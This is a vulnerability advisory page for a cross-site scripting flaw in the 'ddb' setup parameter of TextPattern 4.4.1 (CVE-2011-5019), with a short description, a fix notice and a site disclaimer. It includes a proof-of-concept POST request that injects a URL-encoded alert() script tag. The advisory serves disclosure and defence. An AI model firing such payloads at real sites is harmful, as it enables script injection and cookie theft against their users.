TextPattern 'ddb' Parameter Cross Site Scripting Vulnerability

BID:51254

Info

TextPattern 'ddb' Parameter Cross Site Scripting Vulnerability

Bugtraq ID: 51254
Class: Input Validation Error
CVE: CVE-2011-5019
Remote: Yes
Local: No
Published: Jan 04 2012 12:00AM
Updated: Jan 04 2012 12:00AM
Credit: Jonathan Claudius of Trustwave SpiderLabs
Vulnerable: TextPattern TextPattern 4.4.1
Not Vulnerable:

Discussion

TextPattern 'ddb' Parameter Cross Site Scripting Vulnerability

TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TextPattern 4.4.1 is vulnerable; other versions may also be affected.

Exploit / POC

TextPattern 'ddb' Parameter Cross Site Scripting Vulnerability

To exploit the issue, an attacker must entice an unsuspecting victim to follow a malicious URI.

The following example data is available:

POST /textpattern/setup/index.php HTTP/1.1

Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://www.example.com/textpattern/setup/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

duser=blah&dpass=&dhost=localhost&ddb=%3Cscript%3Ealert%28%27123%27%29%3C%2
Fscript%3E&dprefix=&siteurl=A.B.C.D&Submit=next&lang=en-us&step=print
Config

Solution / Fix

TextPattern 'ddb' Parameter Cross Site Scripting Vulnerability

Solution:
Updates are available. Please see the references for more information.

References

TextPattern 'ddb' Parameter Cross Site Scripting Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report